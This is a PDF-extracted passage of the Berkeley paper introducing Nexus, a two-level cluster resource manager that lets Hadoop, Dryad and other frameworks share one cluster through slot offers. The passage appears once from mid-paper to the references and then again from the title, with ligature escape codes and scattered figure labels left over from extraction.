describes the\nNexus architecture. Section 4 describes our current\nprototype. We survey related work in Section 5 and\npresent a discussion and future work in Section 6.\n2 Beyond MapReduce and Dryad\nAlthough MapReduce and Dryad support many ap-\nplications, these frameworks have limitations. We list\nfour examples of applications for which these frame-\nworks are not ideal. In all four cases, one could\nenvision extending MapReduce and Dryad to better\nsupport the listed application. However, this would\nrequire extensive engineering and testing to ensure\nthat the changes do not break existing applications,\nand would increase the complexity of these systems.\nNexus provides an alternative: a developer can build\na framework more suitable than MapReduce or Dryad\nfor her application, and this framework can share a\ncluster e\u000eciently with MapReduce and Dryad.\n1. Iterative Jobs: Many machine learning algo-\nrithms start with a random value for a parameter\nand repeatedly evaluate a function of this parame-\nter over a dataset to compute a direction in which\nto move the parameter. Each evaluation can be ex-\npressed as a MapReduce job. However, systems like\nHadoop launch new worker processes for each job,\nwhich must re-read the input data, because they do\nnot know that the jobs are related. In many applica-\ntions, the amount of data per node is small enough\nthat it would be more e\u000ecient to keep it in memory\nbetween iterations.\n2. Nested Parallelism: As parallel programming\nlibraries for clusters are developed, it becomes attrac-\ntive to compose them. For example, a machine learn-\ning job might want to call a parallel matrix multipli-\ncation library from each task. Neither MapReduce\nnor Dryad support clean nesting of data \rows: for\nexample, if a Dryad vertex launches a computation as\na second Dryad job, it has to stay running while the\nsecond job executes, consuming a node in the clus-\nter. Nested parallelism is expressed more naturally\nin other programming models, like Cilk [6].\n3. Irregular Parallelism: In applications like\ngraph search, the data \row graph is not known in ad-\nvance. For example, a branch-and-bound algorithm\nHadoop
Nexus
master
Hadoop
scheduler
Nexus
slave
App
1
\nHadoop
executor
task
Nexus
slave
Dryad
executor
task
Nexus
slave
Dryad
scheduler
App
2
Nexus
Hadoop
master
App
\ntask
Hadoop
slave
task
task
Hadoop
slave
task
task
Hadoop
slave
task
Dryad
executor
task
Hadoop
executor
task
Figure 1: Comparing the architectures of Nexus and\nHadoop. The shaded regions make up Nexus. Hadoop\ncan run on top of Nexus, alongside Dryad.\nmight wish to add objects to explore onto a \\work\nqueue\" and prioritize them based on how attractive\nthey look. Neither MapReduce nor Dryad allow this\nlevel of control over the execution order of tasks.\n4. Existing Parallel Applications: It would be\nuseful to run parallel applications like distcc [2] on\nthe same infrastructure as Hadoop. However, ex-\npressing these applications as maps and reduces is\nawkward. Nexus allows more natural wrapping of\nthese applications into tasks.\n3 Nexus Architecture\n3.1 Overview\nThe goal of Nexus is to provide isolation and e\u000ecient\nresource sharing across cluster computing frameworks\nrunning on the same cluster. To accomplish this,\nNexus provides abstractions of computing resources\nand an API to let frameworks access these resources.\nNexus exports two abstractions: tasks and slots. A\ntaskrepresents a unit of work, such as a map task in\nMapReduce. A slotrepresents a computing resource\nin which a framework may run a task, such as a core\nand some associated memory on a multicore machine.\nWe rely on standard OS facilities (e.g. setrlimit in\nLinux) to isolate slots. We are also considering using\nvirtual machines.\nNexus employs two-level scheduling. At the \frst\nlevel, Nexus allocates slots between frameworks us-\ning fair sharing. At the second level, each framework\nis responsible for dividing its work into tasks, select-\ning which tasks to run in each slot, and as we shall\nexplain, deciding which slots to use. This lets frame-\nworks perform application-speci\fc optimizations.\nFigure 1 shows the architecture of Nexus. Like\nHadoop, Nexus has a master process that controls\n2aslave daemon running on each node in the clus-\nter. Each framework that uses Nexus has a sched-\nuler process that registers with the master. Sched-\nulers launch tasks in their allocated slots by provid-\ningtask descriptors . These descriptors are passed\nto a framework-speci\fc executor process that Nexus\nlaunches on slave nodes. A framework assigned mul-\ntiple slots on the same node has one executor per\nslot. Executors are also reused for subsequent tasks\nrun in their slot. This amortizes initialization costs\nand lets executors cache data shared across tasks in\nmemory which is highly bene\fcial for jobs like the\niterative one described in Section 2. Finally, Nexus\npasses status updates about tasks to schedulers, in-\ncluding noti\fcation if a task fails or a node is lost.\nThe elements of Nexus { schedulers, executors and\ntasks { map closely to components of frameworks like\nHadoop and Dryad. Nexus factors these elements out\ninto a common layer.\nNexus purposely does not provide abstractions for\nstorage and communication. We concentrate only\non allocating computing resources (slots), and allow\ntasks to use whichever storage and communication li-\nbraries they wish. For example, we expect many sites\nto install Hadoop's HDFS distributed \fle system for\nstorage. We do, however, plan to build communica-\ntion and storage abstractions for framework develop-\ners to use on top of Nexus.\n3.2 Slot Assignment\nThe main challenge with Nexus's two-level schedul-\ning design is ensuring that frameworks are allocated\nslots they wish to run in. For example, a MapRe-\nduce framework needs to run maps on the nodes that\ncontain its input \fle to avoid reading data over the\nnetwork. Nexus addresses this issue through a mech-\nanism called slot o\u000bers . When a slot becomes free,\nNexus o\u000bers it to each framework in turn, in order of\nhow far each framework is below its fair share. Each\nframework may accept the slot and launch a task in\nit, or refuse the slot if, for example, it has no data\non that machine. Refusing a slot keeps the frame-\nwork below its fair share, ensuring that it is o\u000bered\nfuture slots before other frameworks. If the frame-\nwork has still not found a data-local slot after wait-\ning for some time, it can always accept a non-local\nslot. While it may seem counterintuitive that refus-\ning slots can be bene\fcial to frameworks, experience\nwith job scheduling in Hadoop [4] has shown that this\nsimple policy is enough to achieve 99% data locality1\nand high fairness in workloads with dozens of jobs.\nIn general, slot o\u000bers let frameworks use arbitrary\ncriteria for selecting slots without requiring Nexus\nto be aware of these criteria. For example, while aMapReduce job wishes to run on nodes that have its\ninput data, the iterative job in Section 2 might prefer\nto reuse its previous slots, to take advantage of data\nloaded into memory by its executors.\nA second concern is how to reassign slots when\nframeworks' demands change (e.g., a new framework\nregisters). In normal operation, Nexus simply reas-\nsigns slots to new frameworks as tasks from over-\nallocated frameworks \fnish. As long as tasks are\nshort, this is su\u000ecient to redistribute slots quickly.\nFor example, if the average task length is one minute\nin a 100-node cluster with 4 slots per node is, then\nthere will be about 6.7 tasks \fnishing per second. If\nwe need to reassign, say, 40 slots (10% of the clus-\nter), we only need to wait 6 seconds. To ensure that\nframeworks are not starved even when some tasks\nare long, Nexus can also reclaim a slot by killing the\ntask executing in it after a timeout. Nexus reclaims\nmost-recently launched tasks from each framework\n\frst, minimizing wasted work. Because frameworks\nrunning on large clusters need to tolerate losing tasks\ndue to hardware failures, reclamation does not impact\nthem signi\fcantly { it is as if they never received the\nslot. We are also considering mechanisms for letting\nframeworks choose which slots they prefer to lose.\n4 Implementation Status\nWe have implemented a prototype of Nexus in ap-\nproximately 2,000 lines of C and C++. By limit-\ning the scope of Nexus's concerns we were able to\nfocus on optimizing for performance and scalability;\nfor example, we used asynchronous I/O techniques\nfor network communication. A framework registers\nand unregisters with Nexus using the API presented\nin Table 1. Table 2 lists the callbacks that Nexus\nuses to communicate with a framework for task man-\nagement. Once registered, a framework receives slot\no\u000bers and task status updates from the Nexus mas-\nter via the schedule and status callbacks. The Nexus\nslave passes a task descriptor to an executor by in-\nvoking its execute callback. Preliminary evaluation\nshows that Nexus can schedule thousands of tasks per\nsecond, an order of magnitude more than Hadoop.\nWe have also implemented an iterative machine learn-\ning job (logistic regression) as described in Section\n2 against Nexus, and measured factor of 10 perfor-\nmance gains from executor reuse.\n5 Related Work\n5.1 Infrastructure as a Service\nCloud infrastructures such as Amazon EC2 [1] and\nEucalyptus [13] allow for sharing between users by al-\nlowing virtual machines in a shared cloud to be rented\nby the hour. In such an environment, it would be pos-\n3Function Description\nnexus register(scheduler, executor) Register framework's scheduler and executor with the Nexus master.\nnexus unregister() Terminate the current framework.\nTable 1: Nexus API.\nFunction Description\nschedule(slot id) Invoked when Nexus o\u000bers a slot to a framework.\nstatus() Invoked when Nexus conveys information about a scheduled task to a framework.\nexecute(task id, args...) Invoked in the slot the framework scheduled the task.\nTable 2: Nexus framework callbacks.\nsible for separate frameworks to run concurrently on\nthe same physical cluster by creating separate virtual\nclusters (i.e., EC2 allocations). However, VMs can\ntake minutes to start and sharing data between sepa-\nrate virtual clusters is di\u000ecult to accomplish and can\nresult in poor data locality. Nexus provides abstrac-\ntions (i.e., tasks and slots) that eradicate the need for\nmany applications to use heavyweight VMs. In addi-\ntion, Nexus allows frameworks to select where to run\ntasks via the slot o\u000ber mechanism, allowing multiple\nframeworks to share data while achieving good data\nlocality.\n5.2 Cluster Computing Frameworks\nMapReduce was originally described in [8].\nSawzall [15] and Pig [14] built richer program-\nming models, like relational operators, on top of\nMapReduce. However, running all jobs over MapRe-\nduce can be ine\u000ecient: for example, a Pig query that\nis broken into a series of MapReduce jobs cannot\npipeline data directly between them.\nDryad [12] addresses this problem by providing\na more general execution model: data \row DAGs.\nClustera [9] provides a similar execution model.\nThese frameworks are valuable because they supply\ncommon execution abstractions, like worker vertices\nand channels, to applications. However, the set of\nabstractions provided is still limited. For example,\nvertices in Dryad form a DAG, which makes it di\u000e-\ncult to write the iterative job in Section 2 where one\nwould like to send a parameter to a worker, have it\ncompute a function, and use this result to compute\na new parameter for the same worker. Rather than\ntrying to build an even more general set of abstrac-\ntions than Dryad, Nexus lets Dryad layer over it, but\nalso enables other frameworks to be written against\nits lower-level interface of tasks.\n5.3 Cluster Scheduling Systems\nNexus di\u000bers from previous cluster scheduling sys-\ntems in two aspects: its slot o\u000ber mechanism and the\n\fne-grained nature of slots.Of the frameworks listed in the previous section,\nonly Clustera [9] describes multi-user support. Clus-\ntera uses a heuristic incorporating user priorities,\ndata locality and starvation to match work to idle\nnodes. However, Clustera requires each job to ex-\nplicitly list its locality needs (e.g. by listing its input\n\fles), meaning that needs that cannot be listed in\nthis manner (e.g. reusing a node to reuse a worker\nprocess) cannot be taken into account. In contrast,\nNexus's slot o\u000ber mechanism lets jobs use whichever\nheuristics they desire to select a slot.\nBatch cluster schedulers like Torque [17] give each\njob a \fxed block of machines at once, rather than\nletting a job's allocation scale up and down in a \fne-\ngrained manner, and do not account for data local-\nity. Grid schedulers like Condor [18] support locality\nconstraints, though usually at the level of geographic\nsites. Condor uses a \\ClassAd\" mechanism match\nnode properties to job needs. As in Clustera, this\nmeans that job needs that cannot be expressed as\nClassAds cannot be accounted for. Nexus gives jobs\n\fner control over where they run through slot o\u000bers.\n6 Discussion and Future Work\nBy letting diverse cluster computing frameworks\ncoexist e\u000eciently, Nexus accelerates innovation in\nthe cloud and encourages development of special-\nized frameworks rather than one-size-\fts-all solu-\ntions. Nexus is strongly inspired by work on micro-\nkernels [5], exokernels [10] and hypervisors [11] in the\nOS community and by the success of the narrow-waist\nIP model [7] in computer networks. Like a microker-\nnel or hypervisor, Nexus is a stable, minimal core that\nprovides performance and fault isolation to frame-\nworks sharing a cluster. Like an exokernel, Nexus\naims to give frameworks as much control over their\nexecution as possible. Finally, like IP, Nexus encour-\nages diversity and innovation in cluster computing by\nproviding a \\narrow waist\" API which lets di\u000berent\nframeworks run over shared hardware.\nWe have already written some applications directly\nagainst Nexus, and are currently porting Hadoop to\n4run over it. However, to ease the development of new\nframeworks, we plan to build a stack of higher-level\nabstractions over Nexus for framework developers to\nuse. For example, if Nexus represents the IP of cluster\ncomputing, then a fault-tolerance library providing a\nconcept of \\reliable tasks\" might represent the TCP.\nOther reusable abstractions that we intend to build\nare a data \row DAG library similar to Dryad and a\ntask-queue library similar to Intel Threading Build-\ning Blocks [16] for frameworks that wish to employ\nnested or irregular parallelism.\nUsing Nexus, we intend to explore both how to pro-\nvide better programming models for existing cloud\napplications and how to enable other applications to\nbene\ft from cloud computing. Some of the new ap-\nplications we wish to explore include:\n1.Scienti\fc Computing: Many scienti\fc applica-\ntions are not communication-intensive and could\ntherefore run on commodity clusters, but scien-\ntists typically write such applications using li-\nbraries like MPI rather than MapReduce.\n2.Parallel Build/Test Tools: It would be bene\f-\ncial to run build tools like distcc and distributed\nunit testing tools on the same infrastructure as\nHadoop clusters to maximize utilization.\n3.Web Servers: It may even be possible to use\nNexus to share resources between batch comput-\ning frameworks and interactive web applications.\nWeb servers are stateless, so they can be started\nand stopped dynamically as \\tasks\" as long as\nload balancers are aware of this. This would let\nan organization use a portion of its cluster for web\nserving during the day and batch applications at\nnight, improving data center utilization.\nFinally, from an operational standpoint, Nexus al-\nlows an organization to use multiple cluster comput-\ning frameworks without having to allocate separate\nhardware to each one. For example, if a new im-\nplementation of MapReduce appears that is faster\nthan Hadoop on some workloads, an organization can\nswitch a portion of its jobs to it. If an organization\nwishes to run two isolated instances of Hadoop, or two\ndi\u000berent versions of Hadoop, it can do this as well.\nLastly, if a developer builds a specialized framework\noptimized for only one type of application, an orga-\nnization can run this framework alongside Hadoop.\n7 Acknowledgments\nWe would like to thank Randy Katz, Anthony Joseph,\nScott Shenker, Krste Asanovi\u0013 c, George Necula, and\nthe anonymous reviewers. This research was sup-\nported by California MICRO, California Discov-\nery, the Natural Sciences and Engineering ResearchCouncil of Canada, a National Science Foundation\nGraduate Research Fellowship2, and the Berkeley\nRAD Lab sponsors: Sun, Google, Microsoft, HP,\nCisco, NetApp, VMWare, Amazon and Facebook.\nReferences\n[1] Amazon EC2. http://aws.amazon.com/ec2/ .\n[2] distcc: a fast, free distributed c/c++ compiler. http:\n//distcc.samba.org/ .\n[3] Hadoop. http://lucene.apache.org/hadoop .\n[4] Hadoop scheduling discussion. http://issues.apache.\norg/jira/browse/HADOOP-4667 .\n[5] M. J. Accetta, R. V. Baron, W. J. Bolosky, D. B. Golub,\nR. F. Rashid, A. Tevanian, and M. Young. Mach: A\nnew kernel foundation for unix development. In USENIX\nSummer , pages 93{113, 1986.\n[6] R. D. Blumofe, C. F. Joerg, B. C. Kuszmaul, C. E. Leis-\nerson, K. H. Randall, and Y. Zhou. Cilk: An e\u000ecient\nmultithreaded runtime system. In Journal of Parallel and\nDistributed Computing , pages 207{216, 1995.\n[7] V. G. Cerf, Robert, and E. Icahn. A protocol for\npacket network intercommunication. IEEE Transactions\non Communications , 22:637{648, 1974.\n[8] J. Dean and S. Ghemawat. MapReduce: Simpli\fed data\nprocessing on large clusters. In OSDI , pages 137{150,\n2004.\n[9] D. J. DeWitt, E. Paulson, E. Robinson, J. F. Naughton,\nJ. Royalty, S. Shankar, and A. Krioukov. Clustera: an\nintegrated computation and data management system.\nPVLDB , 1(1):28{41, 2008.\n[10] D. R. Engler, M. F. Kaashoek, and J. O'Toole. Exokernel:\nAn operating system architecture for application-level re-\nsource management. In SOSP , pages 251{266, 1995.\n[11] E. C. Hendricks and T. C. Hartmann. Evolution of\na virtual machine subsystem. IBM Systems Journal ,\n18(1):111{142, 1979.\n[12] M. Isard, M. Budiu, Y. Yu, A. Birrell, and D. Fetterly.\nDryad: distributed data-parallel programs from sequen-\ntial building blocks. In EuroSys 07 , pages 59{72, 2007.\n[13] D. Nurmi, R. Wolski, C. Grzegorczyk, G. Obertelli, S. So-\nman, L. Youse\u000b, and D. Zagorodnov. The eucalyptus\nopen-source cloud-computing system. In Proceedings of\nCloud Computing and Its Applications [Online] , Chicago,\nIllinois, 10 2008.\n[14] C. Olston, B. Reed, U. Srivastava, R. Kumar, and\nA. Tomkins. Pig latin: a not-so-foreign language for data\nprocessing. In SIGMOD Conference , pages 1099{1110,\n2008.\n[15] R. Pike, S. Dorward, R. Griesemer, and S. Quinlan. Inter-\npreting the data: Parallel analysis with sawzall. Scienti\fc\nProgramming , 13(4):277{298, 2005.\n[16] J. Reinders. Intel Threading Building Blocks: Out\ftting\nC++ for Mul ti-core PRocessor Parallelism . O'Reilly,\n2007.\n[17] G. Staples. Torque - torque resource manager. In SC,\npage 8, 2006.\n[18] D. Thain, T. Tannenbaum, and M. Livny. Distributed\ncomputing in practice: the Condor experience. Concur-\nrency and Computation - Practice and Experience , 17(2-\n4):323{356, 2005.\nNotes\n1That is, 99% of map tasks read from local disk.\n2Any opinions, \fndings, conclusions, or recommendations\nexpressed in this publication are those of the authors and do\nnot necessarily re\rect the views of the NSF.\n5"}],"string":"[\n {\n \"data\": \"A Common Substrate for Cluster Computing\\nBenjamin Hindman, Andy Konwinski, Matei Zaharia, Ion Stoica\\nUniversity of California, Berkeley\\nfbenh,andyk,matei,istoica g@cs.berkeley.edu\\nAbstract\\nThe success of MapReduce has sparked many e\\u000borts\\nto design cluster computing frameworks. We argue\\nthat no single framework will be optimal for all ap-\\nplications, and that we should instead enable organi-\\nzations to run multiple frameworks e\\u000eciently in the\\nsame cloud. Furthermore, to ease development of new\\nframeworks, it is critical to identify common abstrac-\\ntions and modularize their architectures. To achieve\\nthese goals, we propose Nexus, a low-level substrate\\nthat provides isolation and e\\u000ecient resource sharing\\nacross frameworks running on the same cluster, while\\ngiving each framework freedom to implement its own\\nprogramming model and fully control the execution\\nof its jobs. Nexus fosters innovation in the cloud by\\nletting organizations run new frameworks alongside\\nexisting ones and by letting framework developers fo-\\ncus on speci\\fc applications rather than building one-\\nsize-\\fts-all frameworks.\\n1 Introduction\\nIt has become increasingly clear that di\\u000berent\\ncloud applications bene\\ft from di\\u000berent program-\\nming models. MapReduce [8] is attractive for its\\nsimplicity, but this simplicity makes it di\\u000ecult to\\nexpress some computations. This led to the devel-\\nopment of higher-level, domain-speci\\fc abstractions\\nthat use MapReduce as an execution substrate, like\\nSawzall [15] and Pig [14], and of more general pro-\\ngramming models that provide their own execution\\nsubstrate, like Dryad [12]. However, making a pro-\\ngramming model too general increases complexity\\n(Dryad is arguably more complex than MapReduce)\\nand decreases the opportunity to optimize programs\\nusing application-speci\\fc knowledge. We have iden-\\nti\\fed several applications that are hard to express\\ne\\u000eciently even in Dryad. We believe that no single\\ngeneral programming model for the cloud will exist.\\nInstead, multiple cluster computing frameworks will\\nemerge, providing various programming models with\\ndi\\u000berent tradeo\\u000bs. In this context, it is critical to\\nidentify abstractions and system constructs that fa-\\ncilitate the development of such new frameworks.As new programming models and new frameworks\\nemerge, they will need to share computing resources\\nand data sets. For example, a company using\\nHadoop [3] should not have to build a second cluster\\nand copy data into it to run a Dryad job. Sharing re-\\nsources between frameworks is di\\u000ecult today because\\nframeworks perform both job execution management\\nand resource management. For example, Hadoop acts\\nlike a \\\\cluster OS\\\" that allocates resources among\\nusers in addition to running jobs. To enable diverse\\nframeworks to coexist, Nexus decouples job execution\\nmanagement from resource management by provid-\\ning a simple resource management layer over which\\nframeworks like Hadoop and Dryad can run. Nexus\\nprovides a \\\\slot\\\" abstraction, in which frameworks\\nmay run \\\\tasks\\\" that do arbitrary work. Along with a\\nmechanism called \\\\slot o\\u000bers\\\", the \\fne granularity of\\nslots lets Nexus achieve more e\\u000ecient resource shar-\\ning across frameworks than would be possible with\\ntraditional coarse-grained cluster scheduling systems\\nlike Torque [17]. Nexus is analogous to a \\\\cluster\\nhypervisor\\\": it provides isolation and multiplexing\\nwhile giving each framework a high level of control\\nover its own execution.\\nNexus is bene\\fcial even to organizations that only\\nwish to run Hadoop. Two concerns in Hadoop to-\\nday are scalability and robustness of the master pro-\\ncess. Because the master manages alljobs running in\\nthe cluster (so it can perform resource allocation), it\\nmust be highly robust, and must scale to hundreds of\\njobs across thousands of nodes. Any scheduling logic\\nthat goes into the master must be tested extensively,\\nbecause a bug in the master will crash the whole clus-\\nter. Consequently, companies like Yahoo! and Face-\\nbook run 6-10 month old versions of Hadoop even\\nthough new versions provide signi\\fcant performance\\nand functionality improvements. If these organiza-\\ntions ran Hadoop on Nexus, they would be able to run\\nseparate Hadoop masters for each job, mitigating the\\nscaling and robustness problems. Furthermore, they\\ncould even run a stable version of Hadoop for pro-\\nduction jobs and a faster but less stable version for\\nexperimental jobs simultaneously. The Nexus master\\n1can be made robust and scalable more easily than\\nthe Hadoop master because it is a smaller codebase,\\nperforms simpler logic, and rarely needs to change.\\nIn this way, Nexus resembles a microkernel architec-\\nture: the component that must be the most reliable\\n(the resource manager) is made as small as possible.\\nThis paper is organized as follows. In Section 2 we\\nshow examples of applications to which MapReduce\\nand Dryad are not well suited. Section 3 describes the\\nNexus architecture. Section 4 describes our current\\nprototype. We survey related work in Section 5 and\\npresent a discussion and future work in Section 6.\\n2 Beyond MapReduce and Dryad\\nAlthough MapReduce and Dryad support many ap-\\nplications, these frameworks have limitations. We list\\nfour examples of applications for which these frame-\\nworks are not ideal. In all four cases, one could\\nenvision extending MapReduce and Dryad to better\\nsupport the listed application. However, this would\\nrequire extensive engineering and testing to ensure\\nthat the changes do not break existing applications,\\nand would increase the complexity of these systems.\\nNexus provides an alternative: a developer can build\\na framework more suitable than MapReduce or Dryad\\nfor her application, and this framework can share a\\ncluster e\\u000eciently with MapReduce and Dryad.\\n1. Iterative Jobs: Many machine learning algo-\\nrithms start with a random value for a parameter\\nand repeatedly evaluate a function of this parame-\\nter over a dataset to compute a direction in which\\nto move the parameter. Each evaluation can be ex-\\npressed as a MapReduce job. However, systems like\\nHadoop launch new worker processes for each job,\\nwhich must re-read the input data, because they do\\nnot know that the jobs are related. In many applica-\\ntions, the amount of data per node is small enough\\nthat it would be more e\\u000ecient to keep it in memory\\nbetween iterations.\\n2. Nested Parallelism: As parallel programming\\nlibraries for clusters are developed, it becomes attrac-\\ntive to compose them. For example, a machine learn-\\ning job might want to call a parallel matrix multipli-\\ncation library from each task. Neither MapReduce\\nnor Dryad support clean nesting of data \\rows: for\\nexample, if a Dryad vertex launches a computation as\\na second Dryad job, it has to stay running while the\\nsecond job executes, consuming a node in the clus-\\nter. Nested parallelism is expressed more naturally\\nin other programming models, like Cilk [6].\\n3. Irregular Parallelism: In applications like\\ngraph search, the data \\row graph is not known in ad-\\nvance. For example, a branch-and-bound algorithm\\nHadoop
Nexus
master
Hadoop
scheduler
Nexus
slave
App
1
\\nHadoop
executor
task
Nexus
slave
Dryad
executor
task
Nexus
slave
Dryad
scheduler
App
2
Nexus
Hadoop
master
App
\\ntask
Hadoop
slave
task
task
Hadoop
slave
task
task
Hadoop
slave
task
Dryad
executor
task
Hadoop
executor
task
Figure 1: Comparing the architectures of Nexus and\\nHadoop. The shaded regions make up Nexus. Hadoop\\ncan run on top of Nexus, alongside Dryad.\\nmight wish to add objects to explore onto a \\\\work\\nqueue\\\" and prioritize them based on how attractive\\nthey look. Neither MapReduce nor Dryad allow this\\nlevel of control over the execution order of tasks.\\n4. Existing Parallel Applications: It would be\\nuseful to run parallel applications like distcc [2] on\\nthe same infrastructure as Hadoop. However, ex-\\npressing these applications as maps and reduces is\\nawkward. Nexus allows more natural wrapping of\\nthese applications into tasks.\\n3 Nexus Architecture\\n3.1 Overview\\nThe goal of Nexus is to provide isolation and e\\u000ecient\\nresource sharing across cluster computing frameworks\\nrunning on the same cluster. To accomplish this,\\nNexus provides abstractions of computing resources\\nand an API to let frameworks access these resources.\\nNexus exports two abstractions: tasks and slots. A\\ntaskrepresents a unit of work, such as a map task in\\nMapReduce. A slotrepresents a computing resource\\nin which a framework may run a task, such as a core\\nand some associated memory on a multicore machine.\\nWe rely on standard OS facilities (e.g. setrlimit in\\nLinux) to isolate slots. We are also considering using\\nvirtual machines.\\nNexus employs two-level scheduling. At the \\frst\\nlevel, Nexus allocates slots between frameworks us-\\ning fair sharing. At the second level, each framework\\nis responsible for dividing its work into tasks, select-\\ning which tasks to run in each slot, and as we shall\\nexplain, deciding which slots to use. This lets frame-\\nworks perform application-speci\\fc optimizations.\\nFigure 1 shows the architecture of Nexus. Like\\nHadoop, Nexus has a master process that controls\\n2aslave daemon running on each node in the clus-\\nter. Each framework that uses Nexus has a sched-\\nuler process that registers with the master. Sched-\\nulers launch tasks in their allocated slots by provid-\\ningtask descriptors . These descriptors are passed\\nto a framework-speci\\fc executor process that Nexus\\nlaunches on slave nodes. A framework assigned mul-\\ntiple slots on the same node has one executor per\\nslot. Executors are also reused for subsequent tasks\\nrun in their slot. This amortizes initialization costs\\nand lets executors cache data shared across tasks in\\nmemory which is highly bene\\fcial for jobs like the\\niterative one described in Section 2. Finally, Nexus\\npasses status updates about tasks to schedulers, in-\\ncluding noti\\fcation if a task fails or a node is lost.\\nThe elements of Nexus { schedulers, executors and\\ntasks { map closely to components of frameworks like\\nHadoop and Dryad. Nexus factors these elements out\\ninto a common layer.\\nNexus purposely does not provide abstractions for\\nstorage and communication. We concentrate only\\non allocating computing resources (slots), and allow\\ntasks to use whichever storage and communication li-\\nbraries they wish. For example, we expect many sites\\nto install Hadoop's HDFS distributed \\fle system for\\nstorage. We do, however, plan to build communica-\\ntion and storage abstractions for framework develop-\\ners to use on top of Nexus.\\n3.2 Slot Assignment\\nThe main challenge with Nexus's two-level schedul-\\ning design is ensuring that frameworks are allocated\\nslots they wish to run in. For example, a MapRe-\\nduce framework needs to run maps on the nodes that\\ncontain its input \\fle to avoid reading data over the\\nnetwork. Nexus addresses this issue through a mech-\\nanism called slot o\\u000bers . When a slot becomes free,\\nNexus o\\u000bers it to each framework in turn, in order of\\nhow far each framework is below its fair share. Each\\nframework may accept the slot and launch a task in\\nit, or refuse the slot if, for example, it has no data\\non that machine. Refusing a slot keeps the frame-\\nwork below its fair share, ensuring that it is o\\u000bered\\nfuture slots before other frameworks. If the frame-\\nwork has still not found a data-local slot after wait-\\ning for some time, it can always accept a non-local\\nslot. While it may seem counterintuitive that refus-\\ning slots can be bene\\fcial to frameworks, experience\\nwith job scheduling in Hadoop [4] has shown that this\\nsimple policy is enough to achieve 99% data locality1\\nand high fairness in workloads with dozens of jobs.\\nIn general, slot o\\u000bers let frameworks use arbitrary\\ncriteria for selecting slots without requiring Nexus\\nto be aware of these criteria. For example, while aMapReduce job wishes to run on nodes that have its\\ninput data, the iterative job in Section 2 might prefer\\nto reuse its previous slots, to take advantage of data\\nloaded into memory by its executors.\\nA second concern is how to reassign slots when\\nframeworks' demands change (e.g., a new framework\\nregisters). In normal operation, Nexus simply reas-\\nsigns slots to new frameworks as tasks from over-\\nallocated frameworks \\fnish. As long as tasks are\\nshort, this is su\\u000ecient to redistribute slots quickly.\\nFor example, if the average task length is one minute\\nin a 100-node cluster with 4 slots per node is, then\\nthere will be about 6.7 tasks \\fnishing per second. If\\nwe need to reassign, say, 40 slots (10% of the clus-\\nter), we only need to wait 6 seconds. To ensure that\\nframeworks are not starved even when some tasks\\nare long, Nexus can also reclaim a slot by killing the\\ntask executing in it after a timeout. Nexus reclaims\\nmost-recently launched tasks from each framework\\n\\frst, minimizing wasted work. Because frameworks\\nrunning on large clusters need to tolerate losing tasks\\ndue to hardware failures, reclamation does not impact\\nthem signi\\fcantly { it is as if they never received the\\nslot. We are also considering mechanisms for letting\\nframeworks choose which slots they prefer to lose.\\n4 Implementation Status\\nWe have implemented a prototype of Nexus in ap-\\nproximately 2,000 lines of C and C++. By limit-\\ning the scope of Nexus's concerns we were able to\\nfocus on optimizing for performance and scalability;\\nfor example, we used asynchronous I/O techniques\\nfor network communication. A framework registers\\nand unregisters with Nexus using the API presented\\nin Table 1. Table 2 lists the callbacks that Nexus\\nuses to communicate with a framework for task man-\\nagement. Once registered, a framework receives slot\\no\\u000bers and task status updates from the Nexus mas-\\nter via the schedule and status callbacks. The Nexus\\nslave passes a task descriptor to an executor by in-\\nvoking its execute callback. Preliminary evaluation\\nshows that Nexus can schedule thousands of tasks per\\nsecond, an order of magnitude more than Hadoop.\\nWe have also implemented an iterative machine learn-\\ning job (logistic regression) as described in Section\\n2 against Nexus, and measured factor of 10 perfor-\\nmance gains from executor reuse.\\n5 Related Work\\n5.1 Infrastructure as a Service\\nCloud infrastructures such as Amazon EC2 [1] and\\nEucalyptus [13] allow for sharing between users by al-\\nlowing virtual machines in a shared cloud to be rented\\nby the hour. In such an environment, it would be pos-\\n3Function Description\\nnexus register(scheduler, executor) Register framework's scheduler and executor with the Nexus master.\\nnexus unregister() Terminate the current framework.\\nTable 1: Nexus API.\\nFunction Description\\nschedule(slot id) Invoked when Nexus o\\u000bers a slot to a framework.\\nstatus() Invoked when Nexus conveys information about a scheduled task to a framework.\\nexecute(task id, args...) Invoked in the slot the framework scheduled the task.\\nTable 2: Nexus framework callbacks.\\nsible for separate frameworks to run concurrently on\\nthe same physical cluster by creating separate virtual\\nclusters (i.e., EC2 allocations). However, VMs can\\ntake minutes to start and sharing data between sepa-\\nrate virtual clusters is di\\u000ecult to accomplish and can\\nresult in poor data locality. Nexus provides abstrac-\\ntions (i.e., tasks and slots) that eradicate the need for\\nmany applications to use heavyweight VMs. In addi-\\ntion, Nexus allows frameworks to select where to run\\ntasks via the slot o\\u000ber mechanism, allowing multiple\\nframeworks to share data while achieving good data\\nlocality.\\n5.2 Cluster Computing Frameworks\\nMapReduce was originally described in [8].\\nSawzall [15] and Pig [14] built richer program-\\nming models, like relational operators, on top of\\nMapReduce. However, running all jobs over MapRe-\\nduce can be ine\\u000ecient: for example, a Pig query that\\nis broken into a series of MapReduce jobs cannot\\npipeline data directly between them.\\nDryad [12] addresses this problem by providing\\na more general execution model: data \\row DAGs.\\nClustera [9] provides a similar execution model.\\nThese frameworks are valuable because they supply\\ncommon execution abstractions, like worker vertices\\nand channels, to applications. However, the set of\\nabstractions provided is still limited. For example,\\nvertices in Dryad form a DAG, which makes it di\\u000e-\\ncult to write the iterative job in Section 2 where one\\nwould like to send a parameter to a worker, have it\\ncompute a function, and use this result to compute\\na new parameter for the same worker. Rather than\\ntrying to build an even more general set of abstrac-\\ntions than Dryad, Nexus lets Dryad layer over it, but\\nalso enables other frameworks to be written against\\nits lower-level interface of tasks.\\n5.3 Cluster Scheduling Systems\\nNexus di\\u000bers from previous cluster scheduling sys-\\ntems in two aspects: its slot o\\u000ber mechanism and the\\n\\fne-grained nature of slots.Of the frameworks listed in the previous section,\\nonly Clustera [9] describes multi-user support. Clus-\\ntera uses a heuristic incorporating user priorities,\\ndata locality and starvation to match work to idle\\nnodes. However, Clustera requires each job to ex-\\nplicitly list its locality needs (e.g. by listing its input\\n\\fles), meaning that needs that cannot be listed in\\nthis manner (e.g. reusing a node to reuse a worker\\nprocess) cannot be taken into account. In contrast,\\nNexus's slot o\\u000ber mechanism lets jobs use whichever\\nheuristics they desire to select a slot.\\nBatch cluster schedulers like Torque [17] give each\\njob a \\fxed block of machines at once, rather than\\nletting a job's allocation scale up and down in a 